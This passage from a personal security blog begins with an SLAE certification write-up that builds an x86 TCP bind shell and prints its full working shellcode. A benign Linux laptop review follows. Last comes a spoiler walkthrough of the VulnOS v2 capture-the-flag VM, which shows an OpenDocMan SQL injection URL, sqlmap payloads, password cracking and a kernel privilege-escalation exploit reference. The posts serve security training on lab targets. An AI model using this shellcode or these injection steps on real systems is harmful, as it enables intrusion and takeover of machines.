19:    execve("/bin/sh", 0, 0);  
20:  }  

...compile and run it through strace to capture the relevant system calls and parameters - also catching the parameters in raw mode, helps to figure out what's going on.  I've snipped out all but the unnecessary calls in the below output;

 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0  
 listen(3, 0)              = 0  
 accept(3, NULL, NULL)          = 4  
 dup2(4, 2)               = 2  
 dup2(4, 1)               = 1  
 dup2(4, 0)               = 0  
 execve("/bin/sh", NULL, NULL)   
 paul@SLAE001:~$ strace -e raw=all ./bind  
 ...  
 socket(0x2, 0x1, 0)           = 0x3  
 bind(0x3, 0xbfdb6bcc, 0x10)       = 0  
 listen(0x3, 0)             = 0  
 accept(0x3, 0, 0)            = 0x4  
 dup2(0x4, 0x2)             = 0x2  
 dup2(0x4, 0x1)             = 0x1  
 dup2(0x4, 0)              = 0  
 execve(0x8048700, 0, 0)         = 0  
 ...  


After this, I built a first draft nasm file - ignoring optimisations & use of null chars, for now.

1:  ; bind.asm  
2:  ; Paul Heneghan  
3:  global _start  
4:  section .text  
5:    _start:  
6:    ; socket via socketcall  
7:      mov   ebx, 0x1           ; socketcall number 1  
8:                                    ; int socket(int domain, int type, int protocol);  
9:      push  0x0                ; socket arg 3  
10:      push  0x1                ; socket arg 2  
11:      push  0x2                    ; socket arg 1  
12:      mov   ecx, esp          ; socketcall args  
13:      mov   eax, 0x66           ; system call number 66  
14:                                    ;int socketcall(int call, unsigned long *args);  
15:      int   0x80  
16:      mov          edx, eax          ; save sockfd for later  
17:       ; bind via socketcall  
18:         mov   ebx, 0x2            ; socketcall number 2  
19:                                       ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);  
20:         push     0x0                ;ip addr = any  
21:         push     word      0x5c11               ;port 115c = 4444  
22:         push     word     0x2                    ;family inet = 2  
23:         mov          ecx, esp  
24:         push     0x10               ; bind arg 3  
25:         push     ecx                ; bind arg 2  
26:         push      eax                    ; bind arg 1  
27:         mov   ecx, esp          ; pointer to bind args  
28:         mov   eax, 0x66           ; system call number 66  
29:                                       ;int socketcall(int call, unsigned long *args);  
30:      int   0x80  
31:       ; listen via socketcall  
32:         mov   ebx, 0x4       ; socketcall number 4  
33:                                       ;int listen(int sockfd, int backlog);  
34:         push      0x0                ; listen arg 2  
35:         push      edx                    ; listen arg 1  
36:         mov      ecx, esp  
37:         mov   eax, 0x66       ; system call number 66  
38:                                       ;int socketcall(int call, unsigned long *args);  
39:         int   0x80  
40:       ; accept via socketcall  
41:         mov   ebx, 0x5       ; socketcall number 5  
42:                                       ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);   
43:         push     0x0                ; bind arg 3  
44:         push     0x0                ; bind arg 2  
45:         push      edx                    ; bind arg 1  
46:         mov   ecx, esp          ; pointer to bind args  
47:         mov   eax, 0x66       ; system call number 66  
48:                                       ;int socketcall(int call, unsigned long *args);  
49:         int   0x80  
50:         mov          ebx, eax          ; save connection fd for later  
51:       ; dup2  
52:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
53:         ;mov          ebx,  
54:         mov   ecx, 0x2          ; stderr  
55:         int   0x80  
56:       ; dup2  
57:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
58:         ;mov          ebx,  
59:         mov   ecx, 0x1          ; stdout  
60:         int   0x80  
61:       ; dup2  
62:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
63:         ;mov          ebx,  
64:         mov   ecx, 0x0          ; stdin  
65:         int   0x80  
66:       ; execve  
67:            mov eax, 0xb               ; int execve(const char *filename, char *const argv[], char *const envp[]);  
68:            mov ebx, shell  
69:            mov ecx, 0x0  
70:            mov edx, 0x0  
71:            int 0x80  
72:  section .data  
73:       shell: db "/bin/sh"  
74:       mlen: equ $-shell  

Okay so obviously this isn't going to work as shellcode: the data section needs to go, the nulls need to go and I might as well loop around the dup2 operations to tighten it up a bit.

The second draft is here: https://github.com/pabb85/SLAE/blob/master/bind.asm

This builds nicely, as shown below - gives a shellcode of 99 bytes which I guess is *not bad* for a first attempt.  The port is easily configurable by altering line 30, where 0x5c11 is equivalent to 4444 (remember to flip the bytes).

That is assignment one complete, I'll move onto the next task and spend some time looking at optimisations also.

 paul@SLAE001:~$ nasm -f elf32 bind.asm -o bind.o  
 paul@SLAE001:~$ ld bind.o -o bind  
 paul@SLAE001:~$ objdump -d ./bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c  
 99  

End result: using my bind shell shellcode :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.


Friday 27 May 2016

VAIO Z Flip - Linux compatibility?

Hello there - so I wanted a new convertible laptop/tablet with a bit of grunt and looked around at a few options, namely the Thinkpad X1 Yoga, Lenovo Yoga 900, etc.  I was looking for something that would have a decent amount of battery life, support linux natively and run VM's with no issues.

After hunting around for reviews, I finally settled on a VAIO Z Flip, thanks to Alex Yepez for shipping it over to me as the decent spec models (16GB, 512GB SSD, 3.3Ghz Skylake i7) are only available in an old colony.  It's a good balance of specification, build quality (carbon fibre and aluminium body) and price - BUT...  There are not many posts about it's linux support and pretty bleeding-edge hardware, so it was a bit of a gamble.

I can report that, after trying a few different distros, I've settled on Ubuntu as the most supportive of the hardware - everything I've tested so far seems to be good - with a few caveats;


  • Secure boot - before you can install, you'll need to start up the default Windows 10 Pro build and go into control panel to set it to boot into the UEFI and from there disable secure boot and allow the system to boot from USB - after that it's just F3 while booting to get to your UEFI boot menu and choose USB/etc.
  • Restore/Recovery partitions - The disk came partitioned into four partitions, one for the OS and three for various recovery tasks...  They can go.  I did take a bit-level backup using the ever-reliable clonezilla to an SMB share on my desktop before zapping the initial build also, just in case.
  • Your first boot after installing will fail.  It did for me, every time.  Just drop into another tty (CTRL&ALT&F1) and do a full apt-get update & dist-upgrade to bring the system up the date and reboot.
  • The Intel WiFi firmware isn't to be found on every installer disk - be prepared with a USB nic (I prefer the apple ones, the asix kenel module is pretty ubiquitous and very stable in my experience) to do the initial setup.
  • For the Intel Iris 550, there's a bug in the libdrm package found on most distros, the fix is now available and has been built into version 2.46.8 which can be added either using one of the various third-party PPA's or by enabling the pre-release/development packages and updating - the Iris graphics should be fully supported after that.
  • Window manager choice - tricky one this because I've never liked the Ubuntu Unity interface but after trying out a handful of WM's - gnome, cinnamon, etc. - Unity wins for touchscreen use, hands down.  Clearly the default pink/purple theme has to go but that's easy enough.  If you want good touchscreen support for in tablet mode - learn to like Unity...



Anyway - I thought I'd put this out there for anybody considering a convertible, wanting to run linux and considering this model of laptop.  I'll probably add a few updates to this if I find anything else useful to share.

UPDATE:  It seems that the newer kernels in the devel repos break certain nice things like suspend, the brightness hotkeys and the touchscreen, better to stay in the main repos and deal with the fact that the graphics isn't recognised fully until libdrm gets updated.

ANOTHER UPDATE: After wrestling with Ubuntu for a bit I've figured out there are a few 'quirks' that need ironing out. The touchscreen shits itself every now and again so needs a cronjob to fix, add a soft keyboard, screen flip toggle soft button, etc. Added a few simple scripts to correct the bugs and so far, looking good. Will image the build and keep testing. Battery life looks good enough but will start power tuning soon and see if it can be improved. Update to follow...



Friday 20 May 2016

Cracking VulnOS v2 [spoiler alert]

So, I had a bit of free time this afternoon and set about attacking the VulnOS v2 from c4b3rw0lf - it was a fun, realistic challenge that I would recommend to anybody with basic to intermediate skills.  It should take a couple of hours tops.

If you would rather have a go yourself first, don't read on.  Grab a copy of the virtual machine from: https://www.vulnhub.com/entry/vulnos-2,147/ - load it into VirtualBox and hack away.

A note that while you are setting it up, you might want to change the configured network adapter - mine didn't work with the preconfigured host-only network so I just flipped it onto bridged.  Easy to figure out which IP was assigned to the VM this way by checking your router/DHCP logs.

---SPOILERS BELOW---

Okay so, I've set up the VM, booted it & figured out the IP that I'm targeting, the mission is described as the following: "Your assignment is to pentest a company website, get root of the system and read the final flag", so while I kick off a quick nmap in the background, I browse to the port 80 and see this;


Okay - a basic intro, leading to the main challenge website...



While checking out the website, letting Burp's spider and passive scanner do it's stuff, I fire up dirbuster and see what it can find - a lot, as it happens...  over 700 results, mostly junk.  The most interesting part so far came from manually crawling the site and hitting on some 'hidden' text under the Documentation section...


Black text on a black background... Hardly great security but easy to miss if you're checking through the sections too quickly.



Anyway, jabcd0cs is *interesting* because we have some known issues on this exact version of OpenDocMan...


According to the text file (BTW, thanks to High-Tech Bridge Security Research Lab - https://www.htbridge.com/advisory/ for the discovery and write-up), one of the two issues disclosed is a nice SQL injection with the following example;

 http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v  
 ersion%28%29,3,4,5,6,7,8,9  

This works!  We get the MySQL version echo'ed back.


Nice.  Time to crank up sqlmap and cheat be efficient!

 root@kali:~# sqlmap -u 'http://192.168.1.53/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user'  
      _  
  ___ ___| |_____ ___ ___ {1.0.5.0#dev}  
 |_ -| . | |   | .'| . |  
 |___|_ |_|_|_|_|__,| _|  
    |_|      |_|  http://sqlmap.org  
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
 [*] starting at 18:01:10  
 [18:01:11] [INFO] resuming back-end DBMS 'mysql'   
 [18:01:11] [INFO] testing connection to the target URL  
 [18:01:11] [INFO] heuristics detected web page charset 'ISO-8859-2'  
...sqlmap output doing it's thing snipped from here...
 ---  
 Parameter: add_value (GET)  
   Type: UNION query  
   Title: MySQL UNION query (33) - 9 columns  
   Payload: q=1&add_value=odm_user UNION ALL SELECT CONCAT(0x7171786a71,0x58726c6f484b4c4c5765797753754e7954724a7a774e4b58586150686a55696e736c7447494c4b42,0x716a786b71),33,33,33,33,33,33,33,33#  
 ---  
 [18:01:11] [INFO] the back-end DBMS is MySQL  
 web server operating system: Linux Ubuntu  
 web application technology: Apache 2.4.7, PHP 5.5.9  
 back-end DBMS: MySQL 5  
 [18:01:11] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.53'  
 root@kali:~#   

Awesome.  Now, first things that I tried were the --os-cmd, --os-shell, --os-pwn but no luck - the DB user didn't have permissions to write anywhere in the webroot.  Thinking I might have hit a dead end, I set sqlmap to dump everything and set about looking at the other ports on the machine.

Other ports were SSH and (oddly) an IRC server.  I connected to the IRC server, no bots, no channels, no sploits.  Similarly with the SSH server, no spoilts and no default/easily-guessed accounts.

In the meantime, sqlmap had dumped the MySQL hashes  and cracked three user accounts with a familiar password;


Unfortunately none of these MySQL account passwords matched the system level passwords - I couldn't use them to log in via SSH...  Before long, sqlmap dumped another interesting table and offered to crack some more passwords...


It only cracked the one password (guest:guest) - which didn't match a system account either, so no SSH yet. Knowing that it had done this and so proven the hashing algorithm, I stuck them into John hoping that it would do a better job - and it did.


Peter+Winter didn't work but the webmin account gives me an SSH shell - onto the privesc!


At this point, I got a bit sidetracked into looking for system misconfigurations and spent some time running unix-privesc-check and reviewing the (considerable) stdout...  Nothing until I realised that the kernel version was vulnerable to the 'ofs.c' exploit (thanks to rebel - CVE-2015-1328).  Last year I had started work on a script to do the logic on lookups of which kernel exploits work based upon uname output...  Once I get some time, I'll publish this - that would of helped in this situation.


So... Pwn'd!  Remember that if, like me, you were compiling the exploit on a 64-bit platform, you'll need to install libc6-dev-i386 and pass the -m32 flag to gcc before scp'ing the file over to the VulnOS box.


Update:  as per request from FX, the unix-privesc-check script can be found at http://pentestmonkey.net/tools/audit/unix-privesc-check - thanks to Pentest Monkey and the ofs.c kernel exploit used can be found here: https://www.exploit-db.com/exploits/37292/ - thanks to rebel!